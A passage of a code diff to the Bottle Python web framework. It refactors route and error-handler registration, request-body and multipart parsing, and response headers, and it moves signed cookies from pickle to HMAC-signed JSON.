= makelist(apply) skiplist = makelist(skip) + def decorator(callback): - # TODO: Documentation and tests if isinstance(callback, basestring): callback = load(callback) for rule in makelist(path) or yieldroutes(callback): for verb in makelist(method): verb = verb.upper() - route = Route(self, rule, verb, callback, name=name, - plugins=plugins, skiplist=skiplist, **config) + route = Route(self, rule, verb, callback, + name=name, + plugins=plugins, + skiplist=skiplist, **config) self.add_route(route) return callback + return decorator(callback) if callback else decorator def get(self, path=None, method='GET', **options): @@ -717,62 +944,84 @@ def delete(self, path=None, method='DELETE', **options): """ Equals :meth:`route` with a ``DELETE`` method parameter. """ return self.route(path, method, **options) - def error(self, code=500): - """ Decorator: Register an output handler for a HTTP error code""" - def wrapper(handler): - self.error_handler[int(code)] = handler - return handler - return wrapper + def patch(self, path=None, method='PATCH', **options): + """ Equals :meth:`route` with a ``PATCH`` method parameter. """ + return self.route(path, method, **options) - def hook(self, name): - """ Return a decorator that attaches a callback to a hook. Three hooks - are currently implemented: + def error(self, code=500, callback=None): + """ Register an output handler for a HTTP error code. Can + be used as a decorator or called directly :: - - before_request: Executed once before each request - - after_request: Executed once after each request - - app_reset: Called whenever :meth:`reset` is called. - """ - def wrapper(func): - self.hooks.add(name, func) - return func - return wrapper + def error_handler_500(error): + return 'error_handler_500' + + app.error(code=500, callback=error_handler_500) + + @app.error(404) + def error_handler_404(error): + return 'error_handler_404' - def handle(self, path, method='GET'): - """ (deprecated) Execute the first matching route callback and return - the result. :exc:`HTTPResponse` exceptions are caught and returned. - If :attr:`Bottle.catchall` is true, other exceptions are caught as - well and returned as :exc:`HTTPError` instances (500). """ - depr("This method will change semantics in 0.10. Try to avoid it.") - if isinstance(path, dict): - return self._handle(path) - return self._handle({'PATH_INFO': path, 'REQUEST_METHOD': method.upper()}) + + def decorator(callback): + if isinstance(callback, basestring): callback = load(callback) + self.error_handler[int(code)] = callback + return callback + + return decorator(callback) if callback else decorator def default_error_handler(self, res): - return tob(template(ERROR_PAGE_TEMPLATE, e=res)) + return tob(template(ERROR_PAGE_TEMPLATE, e=res, template_settings=dict(name='__ERROR_PAGE_TEMPLATE'))) def _handle(self, environ): + path = environ['bottle.raw_path'] = environ['PATH_INFO'] + if py3k: + environ['PATH_INFO'] = path.encode('latin1').decode('utf8', 'ignore') + + environ['bottle.app'] = self + request.bind(environ) + response.bind() + try: - environ['bottle.app'] = self - request.bind(environ) - response.bind() - route, args = self.router.match(environ) - environ['route.handle'] = route - environ['bottle.route'] = route - environ['route.url_args'] = args - return route.call(**args) - except HTTPResponse: - return _e() - except RouteReset: - route.reset() - return self._handle(environ) + while True: # Remove in 0.14 together with RouteReset + out = None + try: + self.trigger_hook('before_request') + route, args = self.router.match(environ) + environ['route.handle'] = route + environ['bottle.route'] = route + environ['route.url_args'] = args + out = route.call(**args) + break + except HTTPResponse as E: + out = E + break + except RouteReset: + depr(0, 13, "RouteReset exception deprecated", + "Call route.call() after route.reset() and " + "return the result.") + route.reset() + continue + finally: + if isinstance(out, HTTPResponse): + out.apply(response) + try: + self.trigger_hook('after_request') + except HTTPResponse as E: + out = E + out.apply(response) except (KeyboardInterrupt, SystemExit, MemoryError): raise - except Exception: + except Exception as E: if not self.catchall: raise stacktrace = format_exc() environ['wsgi.errors'].write(stacktrace) - return HTTPError(500, "Internal Server Error", _e(), stacktrace) + environ['wsgi.errors'].flush() + environ['bottle.exc_info'] = sys.exc_info() + out = HTTPError(500, "Internal Server Error", E, stacktrace) + out.apply(response) + + return out def _cast(self, out, peek=None): """ Try to convert the parameter into something WSGI compatible and set @@ -789,7 +1038,7 @@ def _cast(self, out, peek=None): # Join lists of byte or unicode strings. Mixed lists are NOT supported if isinstance(out, (tuple, list))\ and isinstance(out[0], (bytes, unicode)): - out = out[0][0:0].join(out) # b'abc'[0:0] -> b'' + out = out[0][0:0].join(out) # b'abc'[0:0] -> b'' # Encode unicode strings if isinstance(out, unicode): out = out.encode(response.charset) @@ -802,7 +1051,8 @@ def _cast(self, out, peek=None): # TODO: Handle these explicitly in handle() or make them iterable. if isinstance(out, HTTPError): out.apply(response) - out = self.error_handler.get(out.status_code, self.default_error_handler)(out) + out = self.error_handler.get(out.status_code, + self.default_error_handler)(out) return self._cast(out) if isinstance(out, HTTPResponse): out.apply(response) @@ -823,13 +1073,13 @@ def _cast(self, out, peek=None): first = next(iout) except StopIteration: return self._cast('') - except HTTPResponse: - first = _e() + except HTTPResponse as E: + first = E except (KeyboardInterrupt, SystemExit, MemoryError): raise - except Exception: + except Exception as error: if not self.catchall: raise - first = HTTPError(500, 'Unhandled exception', _e(), format_exc()) + first = HTTPError(500, 'Unhandled exception', error, format_exc()) # These are the inner types allowed in iterator or generator objects. if isinstance(first, HTTPResponse): @@ -843,8 +1093,7 @@ def _cast(self, out, peek=None): msg = 'Unsupported response type: %s' % type(first) return self._cast(HTTPError(500, msg)) if hasattr(out, 'close'): - new_iter = _iterchain(new_iter) - new_iter.close = out.close + new_iter = _closeiter(new_iter, out.close) return new_iter def wsgi(self, environ, start_response): @@ -856,31 +1105,43 @@ def wsgi(self, environ, start_response): or environ['REQUEST_METHOD'] == 'HEAD': if hasattr(out, 'close'): out.close() out = [] - start_response(response._status_line, response.headerlist) + exc_info = environ.get('bottle.exc_info') + if exc_info is not None: + del environ['bottle.exc_info'] + start_response(response._wsgi_status_line(), response.headerlist, exc_info) return out except (KeyboardInterrupt, SystemExit, MemoryError): raise - except Exception: + except Exception as E: if not self.catchall: raise err = '

    Critical error while processing request: %s

    ' \ % html_escape(environ.get('PATH_INFO', '/')) if DEBUG: err += '

    Error:

    \n
    \n%s\n
    \n' \ '

    Traceback:

    \n
    \n%s\n
    \n' \ - % (html_escape(repr(_e())), html_escape(format_exc())) + % (html_escape(repr(E)), html_escape(format_exc())) environ['wsgi.errors'].write(err) + environ['wsgi.errors'].flush() headers = [('Content-Type', 'text/html; charset=UTF-8')] - start_response('500 INTERNAL SERVER ERROR', headers) + start_response('500 INTERNAL SERVER ERROR', headers, sys.exc_info()) return [tob(err)] def __call__(self, environ, start_response): - ''' Each instance of :class:'Bottle' is a WSGI application. ''' + """ Each instance of :class:'Bottle' is a WSGI application. """ return self.wsgi(environ, start_response) + def __enter__(self): + """ Use this application as default for all module-level shortcuts. """ + default_app.push(self) + return self + def __exit__(self, exc_type, exc_value, traceback): + default_app.pop() - - + def __setattr__(self, name, value): + if name in self.__dict__: + raise AttributeError("Attribute %s already defined. Plugin conflict?" % name) + object.__setattr__(self, name, value) ############################################################################### # HTTP and WSGI Tools ########################################################## @@ -896,12 +1157,10 @@ class BaseRequest(object): way to store and access request-specific data. """ - __slots__ = ('environ') + __slots__ = ('environ', ) #: Maximum size of memory buffer for :attr:`body` in bytes. MEMFILE_MAX = 102400 - #: Maximum number pr GET or POST parameters per request - MAX_PARAMS = 100 def __init__(self, environ=None): """ Wrap a WSGI environ dictionary. """ @@ -912,70 +1171,87 @@ def __init__(self, environ=None): @DictProperty('environ', 'bottle.app', read_only=True) def app(self): - ''' Bottle application handling this request. ''' + """ Bottle application handling this request. """ raise RuntimeError('This request is not connected to an application.') + @DictProperty('environ', 'bottle.route', read_only=True) + def route(self): + """ The bottle :class:`Route` object that matches this request. """ + raise RuntimeError('This request is not connected to a route.') + + @DictProperty('environ', 'route.url_args', read_only=True) + def url_args(self): + """ The arguments extracted from the URL. """ + raise RuntimeError('This request is not connected to a route.') + @property def path(self): - ''' The value of ``PATH_INFO`` with exactly one prefixed slash (to fix - broken clients and avoid the "empty path" edge case). ''' - return '/' + self.environ.get('PATH_INFO','').lstrip('/') + """ The value of ``PATH_INFO`` with exactly one prefixed slash (to fix + broken clients and avoid the "empty path" edge case). """ + return '/' + self.environ.get('PATH_INFO', '').lstrip('/') @property def method(self): - ''' The ``REQUEST_METHOD`` value as an uppercase string. ''' + """ The ``REQUEST_METHOD`` value as an uppercase string. """ return self.environ.get('REQUEST_METHOD', 'GET').upper() @DictProperty('environ', 'bottle.request.headers', read_only=True) def headers(self): - ''' A :class:`WSGIHeaderDict` that provides case-insensitive access to - HTTP request headers. ''' + """ A :class:`WSGIHeaderDict` that provides case-insensitive access to + HTTP request headers. """ return WSGIHeaderDict(self.environ) def get_header(self, name, default=None): - ''' Return the value of a request header, or a given default value. ''' + """ Return the value of a request header, or a given default value. """ return self.headers.get(name, default) @DictProperty('environ', 'bottle.request.cookies', read_only=True) def cookies(self): """ Cookies parsed into a :class:`FormsDict`. Signed cookies are NOT decoded. Use :meth:`get_cookie` if you expect signed cookies. """ - cookies = SimpleCookie(self.environ.get('HTTP_COOKIE','')) - cookies = list(cookies.values())[:self.MAX_PARAMS] + cookies = SimpleCookie(self.environ.get('HTTP_COOKIE', '')).values() return FormsDict((c.key, c.value) for c in cookies) - def get_cookie(self, key, default=None, secret=None): + def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) - if secret and value: - dec = cookie_decode(value, secret) # (key, value) tuple or None - return dec[1] if dec and dec[0] == key else default + if secret: + # See BaseResponse.set_cookie for details on signed cookies. + if value and value.startswith('!') and '?' in value: + sig, msg = map(tob, value[1:].split('?', 1)) + hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() + if _lscmp(sig, base64.b64encode(hash)): + dst = json_loads(base64.b64decode(msg)) + if dst and dst[0] == key: + return dst[1] + return default return value or default @DictProperty('environ', 'bottle.request.query', read_only=True) def query(self): - ''' The :attr:`query_string` parsed into a :class:`FormsDict`. These + """ The :attr:`query_string` parsed into a :class:`FormsDict`. These values are sometimes called "URL arguments" or "GET parameters", but not to be confused with "URL wildcards" as they are provided by the - :class:`Router`. ''' + :class:`Router`. """ get = self.environ['bottle.get'] = FormsDict() pairs = _parse_qsl(self.environ.get('QUERY_STRING', '')) - for key, value in pairs[:self.MAX_PARAMS]: + for key, value in pairs: get[key] = value return get @DictProperty('environ', 'bottle.request.forms', read_only=True) def forms(self): """ Form values parsed from an `url-encoded` or `multipart/form-data` - encoded POST or PUT request body. The result is retuned as a + encoded POST or PUT request body. The result is returned as a :class:`FormsDict`. All keys and values are strings. File uploads are stored separately in :attr:`files`. """ forms = FormsDict() + forms.recode_unicode = self.POST.recode_unicode for name, item in self.POST.allitems(): - if not hasattr(item, 'filename'): + if not isinstance(item, FileUpload): forms[name] = item return forms @@ -992,52 +1268,103 @@ def params(self): @DictProperty('environ', 'bottle.request.files', read_only=True) def files(self): - """ File uploads parsed from an `url-encoded` or `multipart/form-data` - encoded POST or PUT request body. The values are instances of - :class:`cgi.FieldStorage`. The most important attributes are: - - filename - The filename, if specified; otherwise None; this is the client - side filename, *not* the file name on which it is stored (that's - a temporary file you don't deal with) - file - The file(-like) object from which you can read the data. - value - The value as a *string*; for file uploads, this transparently - reads the file every time you request the value. Do not do this - on big files. + """ File uploads parsed from `multipart/form-data` encoded POST or PUT + request body. The values are instances of :class:`FileUpload`. + """ files = FormsDict() + files.recode_unicode = self.POST.recode_unicode for name, item in self.POST.allitems(): - if hasattr(item, 'filename'): + if isinstance(item, FileUpload): files[name] = item return files @DictProperty('environ', 'bottle.request.json', read_only=True) def json(self): - ''' If the ``Content-Type`` header is ``application/json``, this - property holds the parsed content of the request body. Only requests - smaller than :attr:`MEMFILE_MAX` are processed to avoid memory - exhaustion. ''' - if 'application/json' in self.environ.get('CONTENT_TYPE', '') \ - and 0 < self.content_length < self.MEMFILE_MAX: - return json_loads(self.body.read(self.MEMFILE_MAX)) + """ If the ``Content-Type`` header is ``application/json`` or + ``application/json-rpc``, this property holds the parsed content + of the request body. Only requests smaller than :attr:`MEMFILE_MAX` + are processed to avoid memory exhaustion. + Invalid JSON raises a 400 error response. + """ + ctype = self.environ.get('CONTENT_TYPE', '').lower().split(';')[0] + if ctype in ('application/json', 'application/json-rpc'): + b = self._get_body_string(self.MEMFILE_MAX) + if not b: + return None + try: + return json_loads(b) + except (ValueError, TypeError): + raise HTTPError(400, 'Invalid JSON') return None - @DictProperty('environ', 'bottle.request.body', read_only=True) - def _body(self): + def _iter_body(self, read, bufsize): maxread = max(0, self.content_length) - stream = self.environ['wsgi.input'] - body = BytesIO() if maxread < self.MEMFILE_MAX else TemporaryFile(mode='w+b') - while maxread > 0: - part = stream.read(min(maxread, self.MEMFILE_MAX)) + while maxread: + part = read(min(maxread, bufsize)) if not part: break - body.write(part) + yield part maxread -= len(part) + + @staticmethod + def _iter_chunked(read, bufsize): + err = HTTPError(400, 'Error while parsing chunked transfer body.') + rn, sem, bs = tob('\r\n'), tob(';'), tob('') + while True: + header = read(1) + while header[-2:] != rn: + c = read(1) + header += c + if not c: raise err + if len(header) > bufsize: raise err + size, _, _ = header.partition(sem) + try: + maxread = int(tonat(size.strip()), 16) + except ValueError: + raise err + if maxread == 0: break + buff = bs + while maxread > 0: + if not buff: + buff = read(min(maxread, bufsize)) + part, buff = buff[:maxread], buff[maxread:] + if not part: raise err + yield part + maxread -= len(part) + if read(2) != rn: + raise err + + @DictProperty('environ', 'bottle.request.body', read_only=True) + def _body(self): + try: + read_func = self.environ['wsgi.input'].read + except KeyError: + self.environ['wsgi.input'] = BytesIO() + return self.environ['wsgi.input'] + body_iter = self._iter_chunked if self.chunked else self._iter_body + body, body_size, is_temp_file = BytesIO(), 0, False + for part in body_iter(read_func, self.MEMFILE_MAX): + body.write(part) + body_size += len(part) + if not is_temp_file and body_size > self.MEMFILE_MAX: + body, tmp = NamedTemporaryFile(mode='w+b'), body + body.write(tmp.getvalue()) + del tmp + is_temp_file = True self.environ['wsgi.input'] = body body.seek(0) return body + def _get_body_string(self, maxread): + """ Read body into a string. Raise HTTPError(413) on requests that are + too large. """ + if self.content_length > maxread: + raise HTTPError(413, 'Request entity too large') + data = self.body.read(maxread + 1) + if len(data) > maxread: + raise HTTPError(413, 'Request entity too large') + return data + @property def body(self): """ The HTTP request body as a seek-able file-like object. Depending on @@ -1048,6 +1375,12 @@ def body(self): self._body.seek(0) return self._body + @property + def chunked(self): + """ True if Chunked transfer encoding was. """ + return 'chunked' in self.environ.get( + 'HTTP_TRANSFER_ENCODING', '').lower() + #: An alias for :attr:`query`. GET = query @@ -1055,37 +1388,36 @@ def body(self): def POST(self): """ The values of :attr:`forms` and :attr:`files` combined into a single :class:`FormsDict`. Values are either strings (form values) or - instances of :class:`cgi.FieldStorage` (file uploads). + instances of :class:`FileUpload`. """ post = FormsDict() + content_type = self.environ.get('CONTENT_TYPE', '') + content_type, options = _parse_http_header(content_type)[0] # We default to application/x-www-form-urlencoded for everything that # is not multipart and take the fast path (also: 3.1 workaround) - if not self.content_type.startswith('multipart/'): - maxlen = max(0, min(self.content_length, self.MEMFILE_MAX)) - pairs = _parse_qsl(tonat(self.body.read(maxlen), 'latin1')) - for key, value in pairs[:self.MAX_PARAMS]: + if not content_type.startswith('multipart/'): + body = tonat(self._get_body_string(self.MEMFILE_MAX), 'latin1') + for key, value in _parse_qsl(body): post[key] = value return post - safe_env = {'QUERY_STRING':''} # Build a safe environment for cgi - for key in ('REQUEST_METHOD', 'CONTENT_TYPE', 'CONTENT_LENGTH'): - if key in self.environ: safe_env[key] = self.environ[key] - args = dict(fp=self.body, environ=safe_env, keep_blank_values=True) - if py31: - args['fp'] = NCTextIOWrapper(args['fp'], encoding='ISO-8859-1', - newline='\n') - elif py3k: - args['encoding'] = 'ISO-8859-1' - data = FieldStorage(**args) - for item in (data.list or [])[:self.MAX_PARAMS]: - post[item.name] = item if item.filename else item.value - return post + post.recode_unicode = False + charset = options.get("charset", "utf8") + boundary = options.get("boundary") + if not boundary: + raise MultipartError("Invalid content type header, missing boundary") + parser = _MultipartParser(self.body, boundary, self.content_length, + mem_limit=self.MEMFILE_MAX, memfile_limit=self.MEMFILE_MAX, + charset=charset) + + for part in parser.parse(): + if not part.filename and part.is_buffered(): + post[part.name] = tonat(part.value, 'utf8') + else: + post[part.name] = FileUpload(part.file, part.name, + part.filename, part.headerlist) - @property - def COOKIES(self): - ''' Alias for :attr:`cookies` (deprecated). ''' - depr('BaseRequest.COOKIES was renamed to BaseRequest.cookies (lowercase).') - return self.cookies + return post @property def url(self): @@ -1097,12 +1429,13 @@ def url(self): @DictProperty('environ', 'bottle.request.urlparts', read_only=True) def urlparts(self): - ''' The :attr:`url` string as an :class:`urlparse.SplitResult` tuple. + """ The :attr:`url` string as an :class:`urlparse.SplitResult` tuple. The tuple contains (scheme, host, path, query_string and fragment), but the fragment is always empty because it is not visible to the - server. ''' + server. """ env = self.environ - http = env.get('HTTP_X_FORWARDED_PROTO') or env.get('wsgi.url_scheme', 'http') + http = env.get('HTTP_X_FORWARDED_PROTO') \ + or env.get('wsgi.url_scheme', 'http') host = env.get('HTTP_X_FORWARDED_HOST') or env.get('HTTP_HOST') if not host: # HTTP 1.1 requires a Host-header. This is for HTTP/1.0 clients. @@ -1126,46 +1459,46 @@ def query_string(self): @property def script_name(self): - ''' The initial portion of the URL's `path` that was removed by a higher + """ The initial portion of the URL's `path` that was removed by a higher level (server or routing middleware) before the application was called. This script path is returned with leading and tailing - slashes. ''' + slashes. """ script_name = self.environ.get('SCRIPT_NAME', '').strip('/') return '/' + script_name + '/' if script_name else '/' def path_shift(self, shift=1): - ''' Shift path segments from :attr:`path` to :attr:`script_name` and + """ Shift path segments from :attr:`path` to :attr:`script_name` and vice versa. :param shift: The number of path segments to shift. May be negative to change the shift direction. (default: 1) - ''' - script = self.environ.get('SCRIPT_NAME','/') - self['SCRIPT_NAME'], self['PATH_INFO'] = path_shift(script, self.path, shift) + """ + script, path = path_shift(self.environ.get('SCRIPT_NAME', '/'), self.path, shift) + self['SCRIPT_NAME'], self['PATH_INFO'] = script, path @property def content_length(self): - ''' The request body length as an integer. The client is responsible to + """ The request body length as an integer. The client is responsible to set this header. Otherwise, the real length of the body is unknown - and -1 is returned. In this case, :attr:`body` will be empty. ''' + and -1 is returned. In this case, :attr:`body` will be empty. """ return int(self.environ.get('CONTENT_LENGTH') or -1) @property def content_type(self): - ''' The Content-Type header as a lowercase-string (default: empty). ''' + """ The Content-Type header as a lowercase-string (default: empty). """ return self.environ.get('CONTENT_TYPE', '').lower() @property def is_xhr(self): - ''' True if the request was triggered by a XMLHttpRequest. This only + """ True if the request was triggered by a XMLHttpRequest. This only works with JavaScript libraries that support the `X-Requested-With` - header (most of the popular libraries do). ''' - requested_with = self.environ.get('HTTP_X_REQUESTED_WITH','') + header (most of the popular libraries do). """ + requested_with = self.environ.get('HTTP_X_REQUESTED_WITH', '') return requested_with.lower() == 'xmlhttprequest' @property def is_ajax(self): - ''' Alias for :attr:`is_xhr`. "Ajax" is not the right term. ''' + """ Alias for :attr:`is_xhr`. "Ajax" is not the right term. """ return self.is_xhr @property @@ -1176,7 +1509,7 @@ def auth(self): front web-server or a middleware), the password field is None, but the user field is looked up from the ``REMOTE_USER`` environ variable. On any errors, None is returned. """ - basic = parse_auth(self.environ.get('HTTP_AUTHORIZATION','')) + basic = parse_auth(self.environ.get('HTTP_AUTHORIZATION', '')) if basic: return basic ruser = self.environ.get('REMOTE_USER') if ruser: return (ruser, None) @@ -1204,12 +1537,25 @@ def copy(self): """ Return a new :class:`Request` with a shallow :attr:`environ` copy. """ return Request(self.environ.copy()) - def get(self, value, default=None): return self.environ.get(value, default) - def __getitem__(self, key): return self.environ[key] - def __delitem__(self, key): self[key] = ""; del(self.environ[key]) - def __iter__(self): return iter(self.environ) - def __len__(self): return len(self.environ) - def keys(self): return self.environ.keys() + def get(self, value, default=None): + return self.environ.get(value, default) + + def __getitem__(self, key): + return self.environ[key] + + def __delitem__(self, key): + self[key] = "" + del (self.environ[key]) + + def __iter__(self): + return iter(self.environ) + + def __len__(self): + return len(self.environ) + + def keys(self): + return self.environ.keys() + def __setitem__(self, key, value): """ Change an environ value and clear all caches that depend on it. """ @@ -1227,46 +1573,63 @@ def __setitem__(self, key, value): todelete = ('headers', 'cookies') for key in todelete: - self.environ.pop('bottle.request.'+key, None) + self.environ.pop('bottle.request.' + key, None) def __repr__(self): return '<%s: %s %s>' % (self.__class__.__name__, self.method, self.url) def __getattr__(self, name): - ''' Search in self.environ for additional user defined attributes. ''' + """ Search in self.environ for additional user defined attributes. """ try: - var = self.environ['bottle.request.ext.%s'%name] + var = self.environ['bottle.request.ext.%s' % name] return var.__get__(self) if hasattr(var, '__get__') else var except KeyError: raise AttributeError('Attribute %r not defined.' % name) def __setattr__(self, name, value): + """ Define new attributes that are local to the bound request environment. """ if name == 'environ': return object.__setattr__(self, name, value) - self.environ['bottle.request.ext.%s'%name] = value + key = 'bottle.request.ext.%s' % name + if hasattr(self, name): + raise AttributeError("Attribute already defined: %s" % name) + self.environ[key] = value + + def __delattr__(self, name): + try: + del self.environ['bottle.request.ext.%s' % name] + except KeyError: + raise AttributeError("Attribute not defined: %s" % name) +def _hkey(key): + if '\n' in key or '\r' in key or '\0' in key: + raise ValueError("Header names must not contain control characters: %r" % key) + return key.title().replace('_', '-') -def _hkey(s): - return s.title().replace('_','-') +def _hval(value): + value = tonat(value) + if '\n' in value or '\r' in value or '\0' in value: + raise ValueError("Header value must not contain control characters: %r" % value) + return value class HeaderProperty(object): - def __init__(self, name, reader=None, writer=str, default=''): + def __init__(self, name, reader=None, writer=None, default=''): self.name, self.default = name, default self.reader, self.writer = reader, writer self.__doc__ = 'Current value of the %r header.' % name.title() - def __get__(self, obj, cls): + def __get__(self, obj, _): if obj is None: return self - value = obj.headers.get(self.name, self.default) + value = obj.get_header(self.name, self.default) return self.reader(value) if self.reader else value def __set__(self, obj, value): - obj.headers[self.name] = self.writer(value) + obj[self.name] = self.writer(value) if self.writer else value def __delete__(self, obj): - del obj.headers[self.name] + del obj[self.name] class BaseResponse(object): @@ -1280,28 +1643,51 @@ class BaseResponse(object): default_status = 200 default_content_type = 'text/html; charset=UTF-8' - # Header blacklist for specific response codes + # Header denylist for specific response codes # (rfc2616 section 10.2.3 and 10.3.5) bad_headers = { - 204: set(('Content-Type',)), - 304: set(('Allow', 'Content-Encoding', 'Content-Language', + 204: frozenset(('Content-Type', 'Content-Length')), + 304: frozenset(('Allow', 'Content-Encoding', 'Content-Language', 'Content-Length', 'Content-Range', 'Content-Type', - 'Content-Md5', 'Last-Modified'))} + 'Content-Md5', 'Last-Modified')) + } + + def __init__(self, body='', status=None, headers=None, **more_headers): + """ Create a new response object. - def __init__(self, body='', status=None, **headers): + :param body: The response body as one of the supported types. + :param status: Either an HTTP status code (e.g. 200) or a status line + including the reason phrase (e.g. '200 OK'). + :param headers: A dictionary or a list of name-value pairs. + + Additional keyword arguments are added to the list of headers. + Underscores in the header name are replaced with dashes. + """ self._cookies = None - self._headers = {'Content-Type': [self.default_content_type]} + self._headers = {} self.body = body self.status = status or self.default_status if headers: - for name, value in headers.items(): - self[name] = value - - def copy(self): - ''' Returns a copy of self. ''' - copy = Response() + if isinstance(headers, dict): + headers = headers.items() + for name, value in headers: + self.add_header(name, value) + if more_headers: + for name, value in more_headers.items(): + self.add_header(name, value) + + def copy(self, cls=None): + """ Returns a copy of self. """ + cls = cls or BaseResponse + assert issubclass(cls, BaseResponse) + copy = cls() copy.status = self.status copy._headers = dict((k, v[:]) for (k, v) in self._headers.items()) + if self._cookies: + cookies = copy._cookies = SimpleCookie() + for k,v in self._cookies.items(): + cookies[k] = v.value + cookies[k].update(v) # also copy cookie attributes return copy def __iter__(self): @@ -1313,30 +1699,34 @@ def close(self): @property def status_line(self): - ''' The HTTP status line as a string (e.g. ``404 Not Found``).''' + """ The HTTP status line as a string (e.g. ``404 Not Found``).""" return self._status_line @property def status_code(self): - ''' The HTTP status code as an integer (e.g. 404).''' + """ The HTTP status code as an integer (e.g. 404).""" return self._status_code def _set_status(self, status): if isinstance(status, int): code, status = status, _HTTP_STATUS_LINES.get(status) elif ' ' in status: + if '\n' in status or '\r' in status or '\0' in status: + raise ValueError('Status line must not include control chars.') status = status.strip() - code = int(status.split()[0]) + code = int(status.split()[0]) else: raise ValueError('String status line without a reason phrase.') - if not 100 <= code <= 999: raise ValueError('Status code out of range.') + if not 100 <= code <= 999: + raise ValueError('Status code out of range.') self._status_code = code self._status_line = str(status or ('%d Unknown' % code)) def _get_status(self): return self._status_line - status = property(_get_status, _set_status, None, + status = property( + _get_status, _set_status, None, ''' A writeable property to change the HTTP response status. It accepts either a numeric code (100-999) or a string with a custom reason phrase (e.g. "404 Brain not found"). Both :data:`status_line` and @@ -1346,75 +1736,83 @@ def _get_status(self): @property def headers(self): - ''' An instance of :class:`HeaderDict`, a case-insensitive dict-like - view on the response headers. ''' + """ An instance of :class:`HeaderDict`, a case-insensitive dict-like + view on the response headers. """ hdict = HeaderDict() hdict.dict = self._headers return hdict - def __contains__(self, name): return _hkey(name) in self._headers - def __delitem__(self, name): del self._headers[_hkey(name)] - def __getitem__(self, name): return self._headers[_hkey(name)][-1] - def __setitem__(self, name, value): self._headers[_hkey(name)] = [str(value)] + def __contains__(self, name): + return _hkey(name) in self._headers + + def __delitem__(self, name): + del self._headers[_hkey(name)] + + def __getitem__(self, name): + return self._headers[_hkey(name)][-1] + + def __setitem__(self, name, value): + self._headers[_hkey(name)] = [_hval(value)] def get_header(self, name, default=None): - ''' Return the value of a previously defined header. If there is no - header with that name, return a default value. ''' + """ Return the value of a previously defined header. If there is no + header with that name, return a default value. """ return self._headers.get(_hkey(name), [default])[-1] def set_header(self, name, value): - ''' Create a new response header, replacing any previously defined - headers with the same name. ''' - self._headers[_hkey(name)] = [str(value)] + """ Create a new response header, replacing any previously defined + headers with the same name. """ + self._headers[_hkey(name)] = [_hval(value)] def add_header(self, name, value): - ''' Add an additional response header, not removing duplicates. ''' - self._headers.setdefault(_hkey(name), []).append(str(value)) + """ Add an additional response header, not removing duplicates. """ + self._headers.setdefault(_hkey(name), []).append(_hval(value)) def iter_headers(self): - ''' Yield (header, value) tuples, skipping headers that are not - allowed with the current response status code. ''' + """ Yield (header, value) tuples, skipping headers that are not + allowed with the current response status code. """ return self.headerlist - def wsgiheader(self): - depr('The wsgiheader method is deprecated. See headerlist.') #0.10 - return self.headerlist + def _wsgi_status_line(self): + """ WSGI conform status line (latin1-encodeable) """ + if py3k: + return self._status_line.encode('utf8').decode('latin1') + return self._status_line @property def headerlist(self): - ''' WSGI conform list of (header, value) tuples. ''' + """ WSGI conform list of (header, value) tuples. """ out = [] - headers = self._headers.items() + headers = list(self._headers.items()) + if 'Content-Type' not in self._headers: + headers.append(('Content-Type', [self.default_content_type])) if self._status_code in self.bad_headers: bad_headers = self.bad_headers[self._status_code] headers = [h for h in headers if h[0] not in bad_headers] - out += [(name, val) for name, vals in headers for val in vals] + out += [(name, val) for (name, vals) in headers for val in vals] if self._cookies: for c in self._cookies.values(): - out.append(('Set-Cookie', c.OutputString())) + out.append(('Set-Cookie', _hval(c.OutputString()))) + if py3k: + out = [(k, v.encode('utf8').decode('latin1')) for (k, v) in out] return out content_type = HeaderProperty('Content-Type') - content_length = HeaderProperty('Content-Length', reader=int) + content_length = HeaderProperty('Content-Length', reader=int, default=-1) + expires = HeaderProperty( + 'Expires', + reader=lambda x: datetime.fromtimestamp(parse_date(x), UTC), + writer=lambda x: http_date(x)) @property - def charset(self): + def charset(self, default='UTF-8'): """ Return the charset specified in the content-type header (default: utf8). """ if 'charset=' in self.content_type: return self.content_type.split('charset=')[-1].split(';')[0].strip() - return 'UTF-8' - - @property - def COOKIES(self): - """ A dict-like SimpleCookie instance. This should not be used directly. - See :meth:`set_cookie`. """ - depr('The COOKIES dict is deprecated. Use `set_cookie()` instead.') # 0.10 - if not self._cookies: - self._cookies = SimpleCookie() - return self._cookies + return default - def set_cookie(self, name, value, secret=None, **options): - ''' Create a new cookie or replace an old one. If the `secret` parameter is + def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options): + """ Create a new cookie or replace an old one. If the `secret` parameter is set, create a `Signed Cookie` (described below). :param name: the name of the cookie. @@ -1424,7 +1822,7 @@ def set_cookie(self, name, value, secret=None, **options): Additionally, this method accepts all RFC 2109 attributes that are supported by :class:`cookie.Morsel`, including: - :param max_age: maximum age in seconds. (default: None) + :param maxage: maximum age in seconds. (default: None) :param expires: a datetime object or UNIX timestamp. (default: None) :param domain: the domain that is allowed to read the cookie. (default: current domain) @@ -1432,46 +1830,70 @@ def set_cookie(self, name, value, secret=None, **options): :param secure: limit the cookie to HTTPS connections (default: off). :param httponly: prevents client-side javascript to read this cookie (default: off, requires Python 2.6 or newer). + :param samesite: Control or disable third-party use for this cookie. + Possible values: `lax`, `strict` or `none` (default). - If neither `expires` nor `max_age` is set (default), the cookie will + If neither `expires` nor `maxage` is set (default), the cookie will expire at the end of the browser session (as soon as the browser window is closed). - Signed cookies may store any pickle-able object and are + Signed cookies may store any JSON-serializable object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers. + Warning: If an attacker gains access to the secret key, he could + forge arbitrary cookies. Prefer storing only plain strings and, if + possible, keep session data server-side instead of in cookies. + Warning: Signed cookies are not encrypted (the client can still see the content) and not copy-protected (the client can restore an old cookie). The main intention is to make pickling and unpickling save, not to store secret information at client side. - ''' + """ if not self._cookies: self._cookies = SimpleCookie() + # Monkey-patch Cookie lib to support 'SameSite' parameter + # https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1 + if py < (3, 8, 0): + Morsel._reserved.setdefault('samesite', 'SameSite') + if secret: - value = touni(cookie_encode((name, value), secret)) + if not isinstance(value, basestring): + depr(0, 13, "Storing non-string objects into cookies is " + "deprecated.", "Only store strings in cookies. " + "JSON strings are fine, too.") + encoded = base64.b64encode(tob(json_dumps([name, value]))) + sig = 